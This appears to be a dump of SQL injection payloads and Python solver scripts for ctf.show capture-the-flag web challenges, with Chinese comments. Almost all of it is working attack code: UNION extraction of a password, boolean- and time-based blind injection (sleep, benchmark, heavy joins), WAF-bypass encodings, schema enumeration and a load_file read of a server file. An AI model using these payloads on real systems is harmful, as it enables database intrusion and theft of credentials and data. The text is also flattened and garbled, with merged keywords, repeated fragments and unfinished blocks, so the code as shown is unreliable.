9999'union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','nba'),'2','nbb'),'3','nbc'),'4','nbd'),'5','nbe'),'6','nbf'),'7','nbg'),'8','nbh'),'9','nbi'),'0','nbj'),'a' from ctfshow_user4 where username='flag'--+
import requests import time url="http://5b285b83-8642-4556-b1cc-ca435d196f99.challenge.ctf.show/select-waf.php"
flagstr="ctfshow{qeryuipadgjklzxvbnm0123456789-}_" flag="" for i inrange(0,34): for x in flagstr: data={ "tableName":"`ctfshow_user`where`pass`regexp(\"ctfshow{}\")".format(flag+x) #"tableName":"`ctfshow_user`where`pass`like\'ctfshow{}%\'".format(flag+x) } response=requests.post(url,data=data) #有并发数量限制的题目,就睡一段时间 time.sleep(0.3) if response.text.find("$user_count = 1;")>0: print("++++++++++++++++ {} is right".format(x)) flag+=x break else: continue print("ctfshow"+flag)
defstr2hex(str): a= "" for x instr: a += hex(ord(x)) return a.replace("0x","") defmain(): flag="" for i inrange(0,48): for x in flagstr: data={ "tableName":"ctfshow_user group by pass having pass regexp(0x63746673686f77{})".format(str2hex(flag+x)) #"tableName":"`ctfshow_user`where`pass`like\'ctfshow{}%\'".format(flag+x) } response=requests.post(url,data=data) #有并发数量限制的题目,就睡一段时间 time.sleep(0.3) if response.text.find("$user_count = 1;")>0: print("++++++++++++++++ {} is right".format(x)) flag+=x break else: continue print("ctfshow"+flag)
defformatString(str): temp="concat(" for x instr: tip=0 if x in string.digits: tmp=int(x) else: tip=1 temp+="char(" tmp=ord(x) if tmp == 0: temp+="false" else: temp_d="(" for i inrange(0,tmp): temp_d+="true+" temp_d=temp_d[:-1]+")" if tip==1: temp_d+=")" temp+=temp_d temp+="," temp=temp[:-1]+")" return temp
#print(formatString("0x63746673686f777b"))
url="http://d2f644f5-968d-4301-b037-267c7b183b0e.challenge.ctf.show/select-waf.php" #dic的顺序可以改一下!我是懒得改了!改顺序可以提高效率!!! dic="ctfshow{qeryuipadgjklzxvbnm0123456789-}_" flag="ctfshow{" for i inrange(0,40): for x in dic: data={ "tableName":"ctfshow_user group by pass having pass regexp({})".format(formatString(flag+x)) } #print(data) response=requests.post(url,data=data) time.sleep(0.3) if response.text.find("$user_count = 1;")>0: print("[**] {} is right".format(x)) flag+=x break else: #print("[--] {} is wrong".format(x)) continue print("[flag]:"+flag)
defstr2hex(str): a = "" for x instr: a += hex(ord(x)) return"0x"+a.replace("0x","")
#63746673686f777b defformatString(str):
temp = "concat(" for x instr: temp +=char2boolean(x) return temp[:-1]+")"
defchar2boolean(ch): num = ord(ch) temp = "char(" for x inrange(num): temp +="true+" return temp[:-1]+"),"
#ctfshow{55eff0b8-fa84-4ee8-9cd2-4e84cdd78b73}
defmain(): flag="ctfshow" for i inrange(0,40): for x in flagstr: data={ "tableName":"ctfshow_user group by pass having pass regexp({})".format(formatString(flag+x)) } response = requests.post(url,data=data) time.sleep(0.3) if response.text.find("user_count = 1;")>0: print("+++++++++++++++++++++++++++++++={} is right".format(x)) flag+=x break else: print("+++++++++++++++++++++++++++++++={} is wrong".format(x)) continue print("+++++++++++++++++++++++++++++++="+flag)
flag = "" #这个位置,是群主耗费很长时间跑出来的位置~ for i inrange(257,257+60): for x in flagstr: data={ "username":"if(substr(load_file('/var/www/html/api/index.php'),{},1)=('{}'),1,0)".format(i,x), "password":"0" } print(data) response = requests.post(url,data=data) time.sleep(0.3) if response.text.find("8d25")>0: #8d25是username等于1时返回的东西,0返回时的东西不是8d25. print("++++++++++++++++++ {} is right".format(x)) flag+=x break else: continue print(flag)
url = "http://1429d815-6439-47de-ab04-5782a8bbf349.challenge.ctf.show/api/index.php" flag = "" for i inrange(1,60): max = 127 min = 32 while1: mid = (max+min)>>1 if(min == mid): flag += chr(mid) print(flag) break #payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid) #ctfshow_web #payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid) #ctfshow_fl0g #payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid) #id,f1ag payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)
data = { "username":payload, "password":0, } res = requests.post(url = url,data =data) time.sleep(0.3) if res.text.find("8bef")>0: max = mid else: min = mid
url = "http://86c12830-4c24-41b4-bf71-64e3ad3646d1.challenge.ctf.show/api/index.php" flag = "" for i inrange(1,60): max = 127 min = 32 while1: mid = (max+min)>>1 if(min == mid): flag += chr(mid) print(flag) break #payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid) #ctfshow_web #payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid) #ctfshow_fl0g #payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid) #id,f1ag payload = "admin'and (ord(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)
data = { "username":payload, "password":0, } res = requests.post(url = url,data =data) time.sleep(0.3) if res.text.find("8bef")>0: max = mid else: min = mid
flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789" flag = "" for i inrange(1,60): for mid in flagstr: #payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid) #ctfshow_web #payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid) #ctfshow_fl0g #payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid) #id,f1ag payload = "admin'and ((substr((select f1ag from ctfshow_fl0g),{},1)='{}'))#".format(i,mid)
data = { "username":payload, "password":0, } #{'username': "admin'and ((substr((select f1ag from ctfshow_fl0g),1,1)='O'))#", 'password': 0} res = requests.post(url = url,data =data) time.sleep(0.3) if res.text.find("8bef")>0: flag += mid print("++++++++++++++++++++"+flag) break
flagstr = ",_}{abcdefghijklmnopqr-stuvwxyz0123456789" tempstr = "" flag = "" for i inrange(1,60): for mid in flagstr: #payload = "admin'and ((left((select database()),{})='{}'))#".format(i,tempstr+mid) #ctfshow_web #payload = "admin'and ((left((select group_concat(table_name) from information_schema.tables where table_schema=database()),{})='{}'))#".format(i,tempstr+mid) #ctfshow_flxg #payload = "admin'and ((left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{})='{}'))#".format(i,tempstr+mid) #id,f1ag payload = "admin'and ((left((select f1ag from ctfshow_flxg),{})='{}'))#".format(i,tempstr+mid)
data = { "username":payload, "password":0, } #{'username': "admin'and ((substr((select f1ag from ctfshow_fl0g),1,1)='O'))#", 'password': 0} res = requests.post(url = url,data =data) time.sleep(0.3) if res.text.find("8bef")>0: tempstr += mid flag += mid print("++++++++++++++++++++"+flag) break
flagstr = ",_}{abcdefghijklmnopqr-stuvwxyz0123456789" tempstr = "" flag = "" for i inrange(1,60): for mid in flagstr: #payload = "admin'and ((left((select database()),{})='{}'))#".format(i,tempstr+mid) #ctfshow_web #payload = "admin'and ((left((select group_concat(table_name) from information_schema.tables where table_schema=database()),{})='{}'))#".format(i,tempstr+mid) #ctfshow_flxg #payload = "admin'and ((left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{})='{}'))#".format(i,tempstr+mid) #id,f1ag payload = "admin'and ((lpad((select f1ag from ctfshow_flxg),{},'')='{}'))#".format(i,tempstr+mid)
data = { "username":payload, "password":0, } #{'username': "admin'and ((substr((select f1ag from ctfshow_fl0g),1,1)='O'))#", 'password': 0} res = requests.post(url = url,data =data) time.sleep(0.3) if res.text.find("8bef")>0: tempstr += mid flag += mid print("++++++++++++++++++++"+flag) break
url='http://b435d6fe-5f89-40c5-9d51-c6b900d102e1.challenge.ctf.show/api/index.php' flagstr="{}qwertyuiopasdfghjklzxcvbnm-_,0123456789" flag="" for i inrange(1,40): for x in flagstr: #payload = "if((ascii(substr((select database()),{},1))={}),sleep(3),1)#".format(i,ord(x)) #ctfshow_web #payload = "if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))={}),sleep(3),1)#".format(i, ord(x)) #ctfshow_flagx,ctfshow_info #payload = "if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),{},1))={}),sleep(3),1)#".format(i,ord(x)) #id, flaga, inf payload = "if((ascii(substr((select flaga from ctfshow_flagx),{},1))={}),sleep(3),1)#".format(i, ord(x)) print(payload) data = { "ip":payload, "debug":1, }
url='http://d1e3eb87-f09e-4e69-9811-9765e724a946.challenge.ctf.show/api/index.php' flagstr="{}qwertyuiopasdfghjklzxcvbnm-_,0123456789" flag="" for i inrange(1,50): for x in flagstr: #payload = "if((ascii(substr((select database()),{},1))={}),sleep(3),1)#".format(i,ord(x)) #ctfshow_web #payload = "' or if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))={}),sleep(3),1)#".format(i, ord(x)) #ctfshow_flagxc,ctfshow_info #payload = "' or if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),{},1))={}),sleep(3),1)#".format(i,ord(x)) #id,flagaa,i payload = "' or if((ascii(substr((select flagaa from ctfshow_flagxc),{},1))={}),sleep(3),1)#".format(i,ord(x)) print(payload) data = { "ip":payload, "debug":1, }
import requests import time import sys import base64 url='http://18b8abd6-51e2-4fb8-90ce-f2887bc5ab82.challenge.ctf.show/api/index.php' flagstr="{}qwertyuiopasdfghjklzxcvbnm-_,0123456789" flag="" for i inrange(1,50): for x in flagstr: #payload = "if((ascii(substr((select database()),{},1))={}),sleep(3),1)#".format(i,ord(x)) #ctfshow_web #payload = "'abc') or if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))={}),sleep(3),1)#".format(i, ord(x)) #ctfshow_flagxcc,ct #payload = "'abc') or if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'),{},1))={}),sleep(3),1)#".format(i,ord(x)) #id,flagaac,i payload = "'adb') or if((ascii(substr((select flagaac from ctfshow_flagxcc),{},1))={}),sleep(3),1)#".format(i,ord(x)) print(payload) data = { "ip":payload, "debug":1, }
import requests import time import sys import base64 url='http://5d44e38e-dd70-49f9-aa22-472a67c5d0bb.challenge.ctf.show/api/index.php' flagstr="{}qwertyuiopasdfghjklzxcvbnm-_,0123456789" flag="" for i inrange(1,50): for x in flagstr: #payload = "if((ascii(substr((select database()),{},1))={}),sleep(3),1)#".format(i,ord(x)) #ctfshow_web #payload = "999) or if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))={}),benchmark(5000000,md5(1)),1)#".format(i,ord(x)) #ctfshow_flagxccb,ct #payload = "999) or if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxccb'),{},1))={}),benchmark(5000000,md5(1)),1)#".format(i,ord(x)) #id,flagaabc,i payload = "999) or if((ascii(substr((select flagaabc from ctfshow_flagxccb),{},1))={}),benchmark(5000000,md5(1)),1)#".format(i,ord(x)) print(payload) data = { "ip":payload, "debug":1, }
try: res = requests.post(url = url,data = data,timeout=2) time.sleep(0.3) except:
strr = "1234567890{}-qazwsxedcrfvtgbyhnujmikolp" j = 1 res = "" while1: for i in strr: data = { 'ip': f"1) and if(substr((select flagaac from ctfshow_flagxc),{j},1)='{i}',(select count(*) from ((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,7)c) limit 1),1", 'debug': '1' } print(i) try: r = requests.post(url, data=data, timeout=2.5) except Exception as e: res += i print("-----------------------"+res) j+=1
1
1) and if(substr((select database())),{j},1)='{i}',(select count(*) from ((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,7)c) limit 1),1
strr = "1234567890{}-qazwsxedcrfvtgbyhnujmikolp" # payload = "select table_name from information_schema.tables where table_schema=database() limit 0,1" # payload = "select column_name from information_schema.columns where table_name='ctfshow_flagxc' limit 1,1" # payload = "select flagaac from ctfshow_flagxc" j = 1 res = "" while1: for i in strr: data = { 'ip': f"1) and if(substr((select flagaac from ctfshow_flagxc),{j},1)='{i}',(select count(*) from ((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,7)c) limit 1),1", 'debug': '1' } print(i) try: r = requests.post(url, data=data, timeout=2.5) except Exception as e: res += i print("-----------------------"+res) j+=1